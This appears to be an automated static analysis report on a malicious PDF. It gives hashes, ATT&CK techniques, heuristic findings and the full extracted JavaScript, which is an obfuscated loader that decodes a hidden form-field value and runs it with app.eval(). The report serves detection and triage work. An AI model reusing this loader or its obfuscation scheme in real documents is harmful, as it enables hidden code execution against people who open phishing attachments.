Malicious PDF — malware analysis report

Static analysis result for SHA-256 6da5d6e5ec6c5150…

MALICIOUS

PDF

21.2 KB Created: 2013-07-29 14:08:26 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-06-10
MD5: a147aaa0a1da4eea3155ab1a75f69d55 SHA-1: f2b8caf8d8cd78bb24a840bf739f8526978299d1 SHA-256: 6da5d6e5ec6c5150b06b7b703c43ef665b8f523e2878e3b63cbea47e3cd2d8e7
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

This PDF file contains embedded JavaScript that utilizes an eval() function, indicating an attempt to execute arbitrary code. The script appears to be obfuscated but ultimately calls app.eval(hyd), which is likely intended to download and execute a second-stage payload. The ML classifier strongly flagged this PDF as malicious, supporting the conclusion of an exploit attempt.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9942

Heuristics 6

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var hyd = ttt(ppp.value);
app.eval(hyd);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj9848_000.js pdf-javascript-stream PDF /JS object 9848 at offset 0x5223 756 bytes
SHA-256: cd05c2229d83e9f61adfefc6092ad57a153e5e1a8b16f3937a06b4bc867ccc51
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function aejofwe(){return "vdszgw3etwe";}
KLOFJIBDsgiuse = "Fiheofjeioijeoijeoijoijoijoiajvlkjlkjlkjlk;jl;kajkljl;klkj;lk";
function aeojfew () {
bze3wtg = KLOFJIBDsgiuse[7];
bze3wtg+=KLOFJIBDsgiuse[30];
bze3wtg+=KLOFJIBDsgiuse[28];
bze3wtg+=KLOFJIBDsgiuse[31];
return bze3wtg;
}
var WEdfa2s = 'VI5[l ,;9ukP=)ha46dXfyBO!ro/0>viC#cU-\\w&N{eGT}W8qbsZQ_Az*mDEpRj^":JFS+n<]H2.gKtYM731x%(L';
ppp = getField(aejofwe());
function ifelsees(v1,v2){if (v1<0){v1 = v1+v2.length;
return v1;}else{return v1;}}
function eee(ggg){
hgf = 30*2+6*2;
qqq=WEdfa2s.indexOf(ggg)-hgf;
qqq=ifelsees(qqq,WEdfa2s);
return WEdfa2s.charAt(qqq);}
function ttt(sss){var fff="";for (var i = 0;i<sss.length-1;i++){fff += eee(sss[i]);}return fff;}
var hyd = ttt(ppp.value);
app.eval(hyd);

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